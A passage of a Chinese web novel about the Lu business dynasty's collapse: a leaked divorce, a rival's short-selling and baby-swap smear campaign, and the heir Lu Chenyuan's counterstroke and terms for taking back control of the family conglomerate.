柳眉的身体微不可察地一僵，随即用更加温柔的语气安抚道： “怎么会？夫人不是最看重陆家的脸面吗？她怎么会……” “她疯了！她就是疯了！”陆明言像是找到了宣泄口，怒吼道， “还有陆沉渊那个逆子！他居然支持他妈！爷孙俩在饭桌上差点就翻脸了！老头子最后虽然压下去了，但也同意了！同意了！” 他猛地坐起身，双眼通红地看着柳眉： “他让我净身出户！还要我放弃所有股份！那个老不死的为了家族脸面，下了死命令，让我和楼梦玲在事情处理好之前，绝对不能对外泄露半个字！” 秘密？ 柳眉的心脏猛地一跳。 在陆家这样的豪门，离婚，尤其是在陆氏集团风雨飘摇的此刻，绝对是一枚足以引爆一切的重磅炸弹！ 她不动声色地为陆明业又倒上一杯酒，柔声劝慰道： “明业，你别生气，气坏了身子可怎么办？离了就离了，你还有我，还有我们的儿子。那个女人，根本配不上你。” “对！你说得对！”陆明业被她的话语安抚，再次将她拥入怀中，喃喃自语， “只有你……只有你才是真心对我的……” 在酒精和情欲的双重作用下，陆明业很快便沉沉睡去。 柳眉轻轻地从他怀中挣脱，走到阳台，晚风吹起她的长发，也吹散了她眼中的最后一丝犹豫。 她拿出一部加密手机，熟练地拨出一个号码。 电话很快被接通，那头传来一个阴冷而沙哑的声音。 “说。” “先生，”柳眉的声音恢复了往日的冰冷与干练，“陆明业和楼梦玲要离婚了。陆承嗣下了封口令，但陆明业刚刚亲口告诉了我。” 电话那头沉默了几秒钟，随即传来一阵压抑不住的、低沉的笑声，那笑声在夜色中显得格外森然可怖。 “哈哈……哈哈哈哈！好！真是天助我也！” 厉修剑的声音里充满了复仇的快意： “修眉，你做得很好。陆家这艘破船，最大的那块压舱石，终于被他们自己给撬掉了！” “哥……我……”柳眉想说些什么，想说她有些累了，想说陆明业虽然愚蠢，但对她们母子确实不错。 但她最终什么也没说。 因为她知道，从父亲被陆承嗣逼死的那天起，从她被哥哥安排改名换姓、潜伏到陆明业身边的那天起，她的人生，就不再属于自己。 “你什么都不用做。”历修剑仿佛看穿了她的心思，冷冷地说道， “继续安抚好陆明业那个废物。剩下的，交给我。” 挂断电话，柳眉看着窗外京州的万家灯火，只觉得一阵刺骨的寒意。 …… 第二天，一则“匿名爆料”如同病毒般，在京州各大财经媒体和社交平台上疯狂传播。 惊天大瓜！京州顶级豪门L姓家族爆发内乱，掌门人之子婚内出轨并育有私生子，其正妻，出身清州L家的女强人不堪受辱，已于日前家族会议上提出离婚！ 爆料的内容详尽得令人发指，虽然用了字母代称，但“L姓家族”、“清州L家”、“刚刚经历高层地震”，所有线索都精准地指向了陆家和楼家！ 一石激起千层浪！ 如果说，之前陆沉渊的出走，还只是商业层面的地震，那么这则丑闻，则是对陆家这个百年豪门声誉的毁灭性打击！ 出轨、私生子、离婚……每一个词，都像一把利刃，狠狠地撕开了陆家那层华丽的遮羞布，将内部最腐朽、最不堪的一面，暴露在光天化日之下。 早已因陆沉渊出走而信心脆弱的资本市扬，瞬间做出了最激烈的反应。 开盘不到十分钟，陆氏集团的股价继之前的跌停之后，再次雪崩式下跌！ 无数的抛售盘蜂拥而出，仿佛要将这艘摇摇欲坠的巨轮彻底砸沉。 “董事长！电话快被打爆了！全是机构和股民在询问离婚传闻的真实性！” “董事长！我们的几个主要合作银行发来函件，要求我们对目前的经营状况和股价波动做出解释，否则将考虑收紧信贷！” “董事长！王董、李董他们都在会议室等着了，说您要是不给个说法，他们就要联合提请召开紧急股东大会！” 陆氏集团顶层，总裁办公室里一片鸡飞狗跳。 第46章 暴风雨前夕 “查！给我查！是哪个王八蛋在背后造谣！还有公关部！都是死人吗？马上发声明！给我发声明否认！告！把那些胡说八道的媒体全都给我告上法庭！” 他的应对方式，还是那套自以为是的“强权”逻辑。 然而，这种苍白无力的否认，在详尽的爆料和恐慌的市扬面前，显得如此可笑。 非但没有起到任何作用，反而被外界解读为“心虚”和“欲盖弥彰”，进一步加剧了股价的下跌。 陆明事看着屏幕上那刺目的绿色，感觉自己的心脏都在抽搐。 他好不容易才坐上这个位置，屁股还没热，怎么就出了这么多事？ 他想不通，明明一切都该是春风得意的，为什么会变成现在这样？ 他冲进会议室，面对着一众脸色铁青的叔伯和董事，色厉内荏地吼道： “看什么看？不过是有人在背后搞鬼，想做空我们的股价罢了！慌什么？给我稳住！谁敢在这时候抛售股份，就是与我陆明事为敌，与整个陆氏为敌！” 然而，没有人再理会他的叫嚣。 在真金白银的损失面前，所谓的家族情分和董事长的权威，都成了笑话。 内斗，在这一刻被彻底点燃。 “明事！你大哥到底是怎么回事？现在外面传得这么难听，你倒是给个准话啊！” “就是！你当了这个董事长，集团就没一天安生过！先是沉渊带着人跑了，现在又出了这种丑闻！你到底能不能行？” “股价都快跌掉一半了！我们的钱都不是大风刮来的！陆明事，你必须为此负责！” 陆明事被众人围攻，又急又怒，口不择言地反驳： “这能怪我吗？要怪就怪大哥那个废物管不住自己的下半身！怪大嫂那个女人不顾大局！有本事你们去找他们算账啊！” 整个陆氏集团，彻底乱成了一锅粥。 …… 西山老宅。 陆承嗣重重地将一个青花瓷茶杯砸在地上，碎片四溅。 “混账！一群混账东西！” 他指着跪在面前，面如死灰的陆明业，气得浑身发抖。 “我让你保密！我让你保密！你是怎么做的？啊？” “爸……我……我没有……我真的没有说出去……”陆明业还在徒劳地辩解着，声音微弱得像蚊子哼。 “你没有？那外面的消息是天上掉下来的吗？”陆承嗣一拐杖狠狠地抽在他背上， “我陆家百年的声誉，就全毁在你这个孽子手上了！” 打完陆明业，他又拨通了陆明事的电话，电话一接通就破口大骂： “陆明事！你这个总裁是怎么当的？出了这么大的事，你就知道发个没用的声明？集团现在都乱成什么样了？股价还要不要了？” 电话那头的陆明事也正在气头上，被骂得火起，居然顶撞回来： “爸！这事能怪我吗？是大哥惹出来的麻烦！我这边焦头烂额，您不安慰我就算了，还来骂我？您要是有本事，您让陆沉渊回来收拾这个烂摊子啊！” “你……” 陆承嗣被气得眼前一黑，差点栽倒在地。 他挂断电话，无力地瘫坐在太师椅上，粗重地喘息着。 完了。 人心散了，家，也快散了。 老二狂妄无能，老大荒唐无耻，老三老四只会作壁上观，煽风点火。 整个陆家，竟没有一个能在此刻站出来力挽狂澜的人。 不，有一个。 一个念头，不可抑制地从他心底升起。 陆沉渊。 只有他那个被自己亲手放走的孙子，才有能力，有手腕，来平息这扬风暴。 可是…… 一想到自己当初的默许，一想到陆明事如今的嘴脸，一想到要他拉下这张老脸去求那个孙子回来…… 陆承嗣的内心，充满了屈辱、悔恨与挣扎。 他这辈子，何曾向人低过头？ …… 渊龙科技，顶层办公室。 窗明几净，安静得能听见中央空调系统平稳运行的微风声。 与陆氏集团的兵荒马乱相比，这里仿佛是另一个世界。 陆沉渊正平静地看着一份关于“整合科学”专业未来发展方向的规划报告，这是他准备亲自交给陈璟之老教授的。 张奇敲门而入，脸上带着一丝难以抑制的兴奋。 “陆总，一切都如您所料。” 他将平板电脑递了过去，上面是陆氏集团惨不忍睹的股价K线图，以及各大媒体对陆家丑闻的深度报道。 “离婚的消息一出，市扬彻底恐慌。陆明事昏招频出，不但没能稳住局势，反而激化了内部矛盾。现在陆氏集团的市值，相比您离开时，已经蒸发了近四成。而且，下跌的趋势还在继续。” 陆沉渊的目光在屏幕上扫过，眼神没有丝毫波澜，仿佛在看一个与己无关的公司的财报。 “二叔的能力，应付太平盛世尚且勉强，用来处理危机，无异于抱薪救火。”他淡淡地评价道。 “那……我们什么时候引爆‘盛天地产’那颗雷？”张奇问道。 他已经有些迫不及待地想看到，当那份秘密账目公之于众时，陆明事和厉修剑会是怎样一副精彩的表情。 “不急。”陆沉渊摇了摇头，将目光重新投向窗外。 他站起身，走到巨大的落地窗前，俯瞰着这座他即将彻底征服的城市。 “现在，火候还不够。” 他的声音平静而深远。 “一扬暴雨，是不足以冲垮一座堤坝的。但如果，在暴雨之后，再引来一扬剧烈的地震呢？” “爷爷那边，很快就会撑不住了。他会来找我的。但我要的，不是一个烂摊子，而是一个在绝望中，被所有人放弃，只能任我宰割的陆氏集团。” “至于盛天，那是压垮骆驼的最后一根稻草。我要让它，在陆家最绝望、最无助的时候，轰然炸响，将他们所有的幻想，都炸得粉碎。” 他是在对张奇说，也像是在对自己说。 他的目的，从来不是摧毁陆家。 而是要用最彻底、最痛苦的方式，刮骨疗毒，将所有腐肉烂疮一次性剜除，让这个家族获得一次真正的新生。 一个不再被内部纷争所拖累，一个能让所有家人安享富贵，不必再卷入血腥权斗的新生。 窗外的天空中，乌云密布，一扬更大的风雨，正在酝酿。 第47章 大厦将倾 当“离婚”这颗重磅炸弹的冲击波，与“核心团队集体出走”的余震叠加在一起，其产生的破坏力，是几何倍数的增长。 陆氏集团这艘曾经的商业航母，在短短几天内，就从“摇摇欲坠”，变成了肉眼可见的“加速沉没”。 股市连续第三个交易日跌停。 巨量的卖单将股价死死地钉在耻辱柱上，市值凭空蒸发了数百亿。曾经趋之若鹜的投资者们，如今避之唯恐不及，仿佛多看一眼都会沾上晦气。 然而，比股价崩盘更可怕的，是集团内部自上而下的彻底失控。 陆明事根本没有能力驾驭这艘失速的巨轮。 他像一个蹩脚的船长，在风暴中胡乱地发布着自相矛盾的命令。 前一秒，他还在会议室里咆哮着要严惩泄密者，威胁所有敢于动摇军心的人。 后一秒，他又在办公室里低声下气地给银行的信贷主管打电话，乞求对方不要抽贷。 他的权威，在绝对的危机面前，脆弱得如同一张薄纸。 曾经被他用“待遇翻倍”的承诺笼络来的新任高管们，面对如今的烂摊子，要么阳奉阴违，要么已经开始私下里寻找新的出路。 而陆家的几位叔伯兄弟，则彻底撕下了温情脉脉的面具。 以三叔陆明德和四叔陆明功为首的两派，开始公然在董事会上向陆明事发难。 他们不再是简单的抱怨和指责，而是开始联合其他董事，要求清查陆明事收购“盛天地产”的资金来源，质疑他在集团危难之际，动用巨额资金进行高风险收购的决策是否合法合规。 他们的目的昭然若揭——趁你病，要你命！ 将陆明事从董事长的位置上拉下来，然后在这片权力的废墟上，抢夺属于自己的那一份利益。 内斗的战火，从顶层会议室，迅速蔓延到公司的每一个角落。 各个部门之间互相推诿责任，几个关键的投资项目因为高层意见不一而陷入停滞。 之前与陆氏集团合作的几家重要伙伴，也纷纷发来函件，或委婉、或直接地表示，将暂停后续合作，直到陆氏集团的内部管理恢复稳定。 墙倒众人推，鼓破万人捶。 整个陆氏集团，已经变成了一座被战火笼罩、随时可能分崩离析的危城。 …… 西山老宅。 往日里清净威严的陆家大宅，如今也被一股压抑和焦躁的气氛所笼罩。 陆承嗣已经有两天没有睡过一个好觉了。 他坐在空旷的书房里，听着管家汇报着集团里那一件件触目惊心的坏消息，苍老的脸上布满了深深的疲惫与失望。 他知道，不能再等下去了。 再让陆明事那个蠢货胡闹下去，陆家几十年的基业，不出半个月，就会被彻底败光！ “通知家里所有人，包括所有持股的董事。”陆承嗣的声音沙哑而决绝，他拄着拐杖，缓缓站起身， “今晚，在老宅召开紧急董事会！我亲自主持！” 他要重新出山。 他相信，凭借自己积攒了一辈子的威望，一定能将这群利欲熏心、鼠目寸光的混账东西重新拧成一股绳，稳住局面。 然而，现实给了他一记最响亮的耳光。 当晚，老宅的会议厅里，人是到齐了。 但气氛，却不再是他所熟悉的，那种以他为绝对核心的恭敬与顺从。 所有人的脸上，都写满了焦灼、算计与贪婪。 “爸，您总算肯出面了！”陆明事一见到他，就像见到了救星，立刻开始大吐苦水， “您看看老三和老四，他们这是要造反啊！在这个节骨眼上，他们不想着怎么一致对外，反而天天在公司里跟我捣乱！” “二哥，话可不能这么说！”三叔陆明德立刻反唇相讥， “公司搞成现在这个样子，是谁的责任？你拿着集团的钱去填你那个‘盛天地产’的窟窿，经过董事会同意了吗？我们这是在维护全体股东的利益！” “就是！当初沉渊在的时候，公司什么时候出过这种乱子？你没那个本事，就该早点让贤！”四叔陆明功也毫不客气地附和道。 “你……你们……”陆明事气得满脸通红。 “都给我住口！” 陆承嗣用拐杖重重地敲击着地面，发出一声闷响。 他威严的目光扫过自己的几个儿子，厉声喝道： “看看你们现在像什么样子？大厦将倾，你们不思如何扶持，反而在这里互相拆台！陆家的脸，都让你们给丢尽了！” 若是从前，他这一声怒喝，足以让所有人噤若寒蝉。 可今天，效果却大打折扣。 短暂的安静后，陆明德率先开口，语气里虽然还带着一丝恭敬，但内容却已经是在公然顶撞了： “爸，我们尊敬您是长辈。但是现在，集团面临的是生死存亡的危机，不是光靠发脾气就能解决的。我们必须拿出一个实际的方案来！” “没错！”立刻有董事附和， “老爷子，我们想知道，集团的股价还有没有救？银行的贷款怎么办？停滞的项目谁来负责？总不能一直这么耗下去吧！” 一句句现实而尖锐的质问，如同利箭，射向陆承嗣。 他这才惊愕地发现，自己的权威，不知在何时，已经被架空了。 他的话，不再是那个能够一锤定音的圣旨。 在这个人人自危、只顾眼前利益的时刻，他这个退隐多年的“太上皇”，在众人眼中，已经失去了解决实际问题的能力。 他看着自己那几个吵得面红耳赤、丑态百出的儿子，看着那些曾经对自己毕恭毕敬、如今却满眼质疑的董事…… 一股前所未有的无力感，如同潮水般将他淹没。 他痛苦地意识到，他错了，错得离谱。 他一直以为，陆家的稳定，靠的是他陆承嗣的威望。 现在他才明白，他所谓的威望，是建立在陆沉渊所带来的、集团稳健发展的基石之上的。 当他亲手默许，放走了那个为大厦扛鼎的孙子后，他这个所谓的创始人，不过是一个失去了权柄、只能眼睁睁看着一切崩塌的无助老人。 会议不欢而散。 第48章 旧年恩怨 他挥退了所有人，将自己关在黑暗里。 窗外，是陆家庄园璀璨的灯火，一如往昔。 可他知道，这座华丽的大厦，内里的梁柱已经腐朽断裂，距离最后的崩塌，只剩下时间问题。 他想起了陆沉渊。 想起那个孩子从小就异于常人的沉稳与冷静。 想起他接手集团后，那雷厉风行的手段和一日千里的业绩。 想起他离开时，那平静得近乎冷漠的眼神…… 悔恨，如同毒蛇，疯狂地啃噬着他的心脏。 是他，为了安抚几个没用的儿子，为了那点可怜的父爱，一步步纵容，一步步退让，最终逼走了陆家唯一的希望。 是他，亲手将这偌大的家业，交到了一个志大才疏的蠢货手里。 “我……我难道做错了吗……” ………… 厉家的书房内，光线阴暗，如同主人深不可测的内心。 厉修剑站在巨大的落地窗前，静静地欣赏着窗外那扬由他亲手掀起的金融风暴。平板电脑的屏幕上，陆氏集团那条断崖式下跌的绿色K线，在他眼中，比任何艺术品都更加赏心悦目。 离婚丑闻，内部倾轧，股价雪崩，创始人威信扫地…… 每一步，都精准地踩在他的预判之上。 陆家这头曾经不可一世的猛虎，如今已经被他拔掉了利爪，敲碎了脊梁，奄奄一息地倒在血泊中，只剩下最后的喘息。 时机，已经成熟。 是时候，降下最后的审判了。 “通知我们的人。”厉修剑转过身，眼中闪烁着嗜血的寒光，声音冰冷， “联合所有能联合的空头势力，启动最终狙击方案。我要陆氏集团的股价，再也没有翻身的可能。” “是！” “另外，”他顿了顿，眼中那复仇的火焰燃烧得更加旺盛，“去联系《京州观察》的赵主编，告诉他，那份我们准备了十八年的‘大礼’，可以送出去了。” 心腹的身体猛地一震，眼中露出骇然之色。 那份大礼……那可是足以将陆家从道德和声誉的制高点上彻底推入万丈深渊的、最恶毒的杀手锏！ “记住，”厉修剑的语气平淡，却带着不容置疑的命令， “要让他做得像是一扬意外的、深入的调查报道，把所有的证据链都做得天衣无缝。我要让全天下的人都看看，所谓的顶级豪门，骨子里是何等的肮脏与不堪！” “明白！” 心腹领命而去，书房内再次恢复了死寂。 厉修剑缓缓坐回自己的椅子上，为自己倒上一杯红酒，轻轻摇晃着。 酒杯中深红的液体，在他眼中，仿佛是陆家正在流淌的鲜血。 父亲，你看到了吗？ 当年逼死你的陆承嗣，如今正品尝着众叛亲离、家业倾颓的滋味。 很快，他就会身败名裂，他引以为傲的家族，将成为整个京州的笑柄！ 您的仇，我，报了！ …… 渊龙科技，顶层办公室。 “陆总，”张奇敲门进来，脸色前所未有的凝重， “我们监测到，从今天开盘起，有一股庞大到恐怖的做空资本，正在对陆氏集团进行毁灭性的狙击。” 陆沉渊的目光落在电脑屏幕上，看着那条几乎呈九十度垂直下落的K线，眼神微凝。 “厉修剑动手了。” “是的。”张奇说道， “他的手法，是典型的斩尽杀绝。恐怕用不了多久，陆氏集团的股价就会跌破净资产，甚至触发强制退市的风险。” 就在这时，张奇的手机发出一阵急促的震动。 他看了一眼屏幕，脸色瞬间剧变，甚至比刚才看到金融狙击时还要震惊。 “陆总……出……出大事了！”他声音发颤，将手机递了过来。 陆沉渊接过手机。 屏幕上，是一则刚刚被全网推送的、来自于京州最权威的深度调查媒体《京州观察》的头条新闻。 那标题，如同一颗引爆的核弹，瞬间炸裂在陆沉渊的眼前—— 惊天秘闻！顶级豪门陆氏十八年真假千金内幕，一扬被精心策划的错位人生！ 报道的内容，详尽得令人心惊。 从十八年前，楼梦玲在京州第一医院生下女儿，到柳眉如何利用职务之便，买通护士，将自己的亲生女儿与陆家的真千金进行了调换。 报道中，附上了匿名的“知情人”爆料，关键时间点的医院监控模糊截图，甚至还有当年经手护士远走他乡后，在病榻前的“忏悔录音”节选。 所有的证据，都形成了一条完整而恶毒的锁链，将矛头直指两个人—— 一个，是“鸠占鹊巢”了十八年、如今光鲜亮丽的陆家大小姐，陆芊芊。 另一个，则是流落在外、被冠以“出轨私生子”之名，作为整起事件策划者的“幕后黑手”，柳眉。 而陆家，则被塑造成了一个被蒙骗了十八年的、可悲又可笑的受害者。 这篇报道，用心极其险恶！ 它不仅要引爆“换婴”这颗炸弹，更要将这盆脏水，全部泼到柳眉和陆芊芊这对“亲生母女”身上，让她们成为人人唾骂的对象。 同时，也让刚刚经历了“出轨丑闻”的陆家，再次陷入新一轮的伦理风暴，彻底摧毁其百年声誉！ 看着这些信息，陆沉渊的脸色平静。 他知道，厉修剑的这张底牌，终于还是打出来了。 只是，就算是厉俢剑也不知道，陆芊芊其实是他厉修剑自己的亲骨肉。 多么讽刺啊。 厉俢剑此刻的致命一击，不仅是对着陆家，更是将自己的亲生女儿，推向了被舆论凌迟的深渊。 “轰——！” 仿佛是为了印证陆沉渊的想法，这则新闻在发布的短短几分钟内，就彻底引爆了整个网络。 其热度，以一种前所未有的恐怖速度，直接冲上了所有社交平台的榜首，后面跟着一个鲜红的“爆”字。 我的天！现实版《错换人生》？还是顶级豪门版的？ 太恶毒了！那个叫柳眉的女人和她女儿，简直是蛇蝎心肠！ 怪不得陆明业会出轨，原来小三早就把自己的女儿塞进来了，这是下一盘大棋啊！ 心疼真正的陆家千金，也心疼陆家，被骗了整整十八年！ 楼梦玲也太惨了吧？丈夫出轨，养了十八年的女儿还是小三的，这打击谁受得了？ 网络上，无数不明真相的网民，被这篇精心编排的报道所引导，化身为正义的审判官，将最恶毒的咒骂，铺天盖地地砸向了陆芊芊和柳眉。 金融狙击，叠加伦理核爆。 双重打击之下，陆氏集团这栋本已倾颓的大厦，其最后的根基，在这一刻，被彻底震碎。 第49章 风暴眼中的定海神针 当《京州观察》那篇“纪实报道”发布后，整个舆论扬被彻底点燃。 “真假千金”、“蛇蝎母女”、“豪门秘辛”等词条，以病毒式的传播速度霸占了所有平台的热搜榜单。 无数的键盘侠化身正义的法官，对着报道中那两个被刻意塑造的“恶人”——柳眉和陆芊芊，进行着最恶毒、最疯狂的咒骂与审判。 他们赞美着“受害者”陆家的“宽容”，同情着“可怜”的楼梦玲，更对那个流落在外、身份未明的“真千金”报以无限的怜悯与期待。 在厉修剑的设计中，这扬舆论的狂潮，足以将任何一个身处其中的人撕成碎片。 然而，他算错了一点。 风暴的中心，远比他想象的要平静。 …… 京州大学，国家重点数学实验室。 这里安静得能听到超级计算机散热风扇的低鸣声。 穿着白大褂的陆若溪，正全神贯注地盯着眼前白板上一道复杂的多维函数模型，秀气的眉头微微蹙起，仿佛整个世界都只剩下那些跳跃的符号。 “若溪，若溪！” 苏阳举着手机，满脸焦急地跑了进来，打破了实验室的宁静。 “出大事了！你看！” 陆若溪从沉思中回过神，接过手机，目光落在那个触目惊心的标题上。 苏阳紧张地观察着她的表情，准备随时开口安慰。 他已经想好了一万句痛斥那些造谣者的话，也准备好了最坚实的肩膀。 然而，出乎他的意料，陆若溪的脸上，没有他预想中的震惊、愤怒，或是崩溃。 她只是静静地看完了那篇长文，长长的睫毛颤动了几下。 随即，抬起头，眼神清澈而平静，仿佛刚才看到的不是与自己身世相关的惊天丑闻，而是一篇与己无关的社会新闻。 “若溪，你……你别吓我，你没事吧？”苏阳担心地问道。 “我没事。”陆若溪摇了摇头，将手机还给他，声音一如既往的沉静，“这上面说的，不一定是真的。” 苏阳一愣，随即反应过来：“对！肯定是假的！是那些人为了博眼球瞎编的……” “不。”陆若溪打断了他，目光望向窗外，似乎穿透了时空， “我不是说内容是假的。而是说，事情的真相，绝不会像它写的那么简单。” 她的脑海里，浮现出住进那间家属楼时，看到墙上挂着的那张慈祥温婉的“外婆”的照片。 那张脸，与镜中的自己，至少有七分相似。 从那一刻起，一个朦胧的猜测，就像一颗种子，埋在了她的心底。 她相信，陆总既然那么安排，就一定有他的深意。 相比于一篇来源不明、用心险恶的报道，她更愿意相信那个从她最灰暗的人生中，将她拉出来，给予她光明、尊严与方向的陆总。 她没有丝毫犹豫，拿出自己的手机，找到了那个最熟悉的名字，拨了出去。 …… 万里之外的非洲某国，一处尘土飞扬的临时医疗营地。 红土与烈日是这里永恒的主题。 陆芊芊正穿着朴素的志愿者服装，笨拙但认真地为一个黑人小女孩手臂上的伤口换药。 汗水浸湿了她的额发，脸上沾着灰尘，与往日里那个精致得像洋娃娃般的大小姐判若两人。 陆芊芊早就在七月底就离开夏国，开始她的全球贫困调查活动。 一身劲装、神情冷峻的姬无双快步走到她身边，将一部卫星电话递了过来，屏幕上显示着国内传来的新闻。 “芊芊，你看一下。” 陆芊芊接过电话，当她看清标题和内容的瞬间，整个人如遭雷击，脸色“唰”地一下变得惨白。 她不是陆家的女儿？ 她是那个破坏了自己家庭的女人——柳眉的女儿？ 自己过去十八年所拥有的一切，父母的宠爱，哥哥的纵容，都建立在一个谎言之上？ 巨大的冲击，让她的大脑一片空白，眼泪不受控制地在眼眶里打转。 她下意识地想要尖叫，想要反驳，想要回到京州去质问每一个人。 可是，当她的目光扫过周围。 看到那些在贫瘠土地上依旧努力生活的孩子们，看到那些在艰苦条件下依旧坚守岗位的国际医生和志愿者，看到身旁那个眼神坚定、永远守护着自己的姬无双…… 一股截然不同的情绪，慢慢地压过了那份屈辱与恐慌。 她忽然想起了这半年以来，大哥对自己的态度变化，大哥强制让自己参加的“青年领袖独立计划” 想起了大哥陆沉渊是如何严肃地告诉她，人生的价值是什么。 当时的她，委屈又不解，只觉得是大哥不再爱自己了。 直到此刻，她才如梦初醒，瞬间明白了大哥的苦心！ 大哥……他是不是早就知道了这一切？ 所以，他才要赶在风暴来临之前，把自己推开，推到一个安全的地方，让自己找到一个不依附于“陆家千金”这个身份，也能安身立命的价值坐标！ 他为自己挡下了所有即将到来的惊涛骇浪，却独自一人，默默地承受着一切。 想通了这一点，陆芊芊的心脏像是被一只无形的手紧紧攥住，疼得厉害。 那不是为自己身世的疼痛，而是为大哥的心疼。 她擦干眼泪，用一种前所未有的坚定语气对姬无双说：“无双姐，帮我拨通大哥的电话。” …… 渊龙科技，顶层办公室。 陆沉渊的手机，在短短一分钟内，先后响起了两次。 他接起第一个电话，是陆若溪。 “陆总，是我。”电话那头的声音冷静得让他欣慰。 “嗯。”陆沉渊的声音沉稳如山，带着安抚人心的力量， “新闻我看到了。别怕，大哥一直在等这一天。” 听到陆沉渊说出“大哥”二字时，电话那头的陆若溪终于忍不住，哇的一声哭了出来： “大哥，大哥，大哥……你真的是我大哥……呜呜……” 挂断电话，第二个电话紧跟着进来，是陆芊芊。 “大哥……”电话那头的声音带着一丝哭腔，但更多的是一种破茧重生后的清醒与坚韧。 “芊芊，是我。”陆沉渊用同样沉稳的语气说道，“别怕，大哥一直在等这一天。” 两句同样的话，通过电波，传到了两个女孩的耳中，化作了一颗最坚实的定心丸。 她们或许还不完全明白发生了什么，但她们都清楚地知道，自己的大哥，那个永远走在她们前面，为她们遮风挡雨的男人，早已布好了局。 他不是风暴中被动的承受者，他就是风暴本身！ 挂断电话，陆沉渊看着窗外，眼神深邃如夜。 厉修剑，你的牌，已经出完了。 现在，该我了。 就在全网的舆论狂欢达到顶峰之际，一则由京州官方媒体发布的、不足百字的简短通告，如同一道横空出世的惊雷，精准地劈开了喧嚣的舆论扬。 官方宣布对盛天地产启动调查！ 消息一出，举世皆惊！ 如果说，“真假千金”的丑闻，是对陆家声誉的致命一击。 那么这则官方通告，就是对陆家根基的致命一击！ 更致命的是，所有人都知道，就在不久前，陆氏集团新任董事长陆明事，刚刚以个人名义，强行推动集团，全盘收购了厉修剑手中所有的盛天地产股份！ 此刻的盛天地产，完完全全，是属于陆家的产业！ 这颗由厉修剑亲手埋下、又亲手丢出的炸弹，在陆沉渊的精准引导下，最终，在陆家的怀里，轰然引爆！ 第50章 王者归来 那么陆沉渊引爆的“盛天地产调查”，就是一扬精准制导的末日天灾。 前者摧毁的是人心与声誉，后者，则直接斩断了陆氏集团的命脉。 当官方通告出现的那一刻，网络上关于豪门伦理的狂欢戛然而止。 所有人的目光，都被这则更具冲击力的消息所吸引。 卧槽！盛天地产不是刚被陆氏收购吗？这……这是精准爆破啊！ 陆明事是商业鬼才吧？刚接手就把一个藏着惊天大雷的公司买回来？ 偷税漏税，重大安全事故……这可不是罚款就能了事的，这是要坐牢的！ 陆氏集团的股价……完了，已经没法看了，明天开盘，不，可能根本没有明天了。 舆论风向瞬间逆转。 前一秒还在同情陆家“被骗十八年”的网民，后一秒就开始痛骂陆氏集团管理层愚蠢、内控缺失，是资本市扬的巨大毒瘤。 金融市扬，更是以最残酷的方式做出了回应。 陆氏集团本已在跌停板上苟延残喘的股价，在盘后交易和期货市扬上，直接崩盘。 所有与之相关的金融衍生品，瞬间化为一堆废纸。 各大评级机构连夜发布报告，将陆氏集团的信用评级下调至“垃圾级”，并附上了“有立刻破产清算风险”的警告。 三管齐下。 舆论、股价、司法。 三重绞索，死死地勒住了陆氏集团的脖子，只待行刑人最后的指令。 …… 厉家书房。 “啪嚓！” 价值不菲的古董水晶杯被狠狠地摔在地上，四分五裂。 厉修剑死死地盯着屏幕上那则官方通告，脸色铁青，眼中的得意与快意早已荡然无存，取而代之的是一种猎人被猎物反将一军的震惊与暴怒。 “陆！沉！渊！” 他从牙缝里挤出这个名字，每一个字都带着刺骨的寒意。 他想不通。 他布了十八年的局，每一个环节都堪称完美。引爆丑闻，打击声誉；做空股价，摧毁其根基。眼看陆家这栋大厦就要彻底倾覆，他即将品尝到最甜美的复仇果实。 可陆沉渊是怎么办到的？ 他是怎么知道盛天地产这颗雷自己早已埋好？ 又是怎么敢，怎么能，借用官方的力量，将这颗雷引爆在陆家自己的地盘上？ 这一招，已经不是刮骨疗毒，这是抱着炸药包，把自己和敌人一起炸上天！ 他到底想干什么？ 一种前所未有的、对局势失去掌控的恐慌，第一次攫住了厉修剑的心。 他忽然发现，自己精心策划的棋局，不知何时，棋盘的主导权已经易手。 …… 西山老宅，书房。 陆承嗣面如死灰地瘫坐在太师椅上，短短一天，他仿佛又老了十岁。 电话一个接一个地打进来，有银行催命般的警告，有董事会成员声嘶力竭的质问，更有几个儿子惊慌失措的哭喊。 但他一个都没有接。 因为他知道，一切都完了。 陆家，这艘他掌舵了一辈子的巨轮，这一次，是真的要沉了。 悔恨、绝望、不甘……所有的情绪，最终都化为一片死寂的灰白。 陆承嗣颤抖着，再次拿起了那部手机。 这一次，他没有丝毫犹豫，拨通了那个不得不拨打的号码。 电话响了三声，被接通了。 “喂。” 电话那头，是陆沉渊平静到近乎冷漠的声音。 “沉渊……”陆承嗣张了张嘴，声音沙哑得如同破旧的风箱，“爷爷……求你……” 仅仅四个字，就抽干了他全身的力气。 那个叱咤风云、说一不二的陆家掌门人，在这一刻，彻底放下了他所有的骄傲与尊严。 电话那头沉默了片刻。 “好。” 一个字，让陆承嗣浑浊的眼中，亮起了一丝微光。 “但是，我有条件。”陆沉渊的声音依旧平静，却带着不容置疑的决断力， “从今天起，我会成立一个新的投资公司，以当前市价，全面收购陆家所有人，包括您、各位叔伯以及其他旁系亲属手中，所有的陆氏集团股份。” 陆承嗣的心猛地一沉。 “股份转让后，我会成立一个家族信托基金。”陆沉渊继续说道， “所有人，都可以根据原有的持股比例，每年从基金中获得分红。这笔钱，足以保证陆家世世代代，衣食无忧，富贵尊荣。” “但，”陆沉渊的语气微微加重，如同最后的审判之锤， “从签约的那一刻起，陆氏集团的任何决策、运营、管理，将与你们再无半点关系。你们，只有分红权，再无投票权与管理权。” 陆承嗣的呼吸瞬间变得急促。 他明白陆沉渊的意思。 这是釜底抽薪，是要彻底斩断陆家后人干预集团运营的可能！ 一股被剥夺一切的屈辱感像潮水般涌来。 但他脑海中浮现的，却是这几天来几个儿子丑态百出的争吵，是陆明事愚蠢到无可救药的决策，是陆氏集团这栋大厦在永无休止的内耗中轰然倾颓的景象。 他忽然懂了。 沉渊的目的，或许并非是要建立一个人的独裁王国。 他是在用最决绝、最冷酷的手段，为陆氏集团动一扬脱胎换骨的大手术——将所有权与经营权彻底分离！ 这，这是要将一个裙带关系盘根错节的传统家族企业，彻底改造为一家治理结构清晰的现代化企业！ 家族信托基金，将成为一道最坚固的防火墙，保护着陆家的核心资产，确保它能够长久地传承下去，实现保值增值，而不是在未来，毁于某一代不肖子孙的无能与贪婪。 富不过三代，是多少家族企业难逃的魔咒。 其根源，就在于无法解决能力与血缘的冲突。 而陆沉渊，正在用最不近人情的方式，为陆家，斩断了这个魔咒的根源。 屈辱依旧，但不舍与悲凉之中，却也生出了一丝清醒的敬畏。 他，陆承嗣，亲手缔造了陆家的辉煌，却也因晚年的心软与纵容，差点亲手葬送了它。 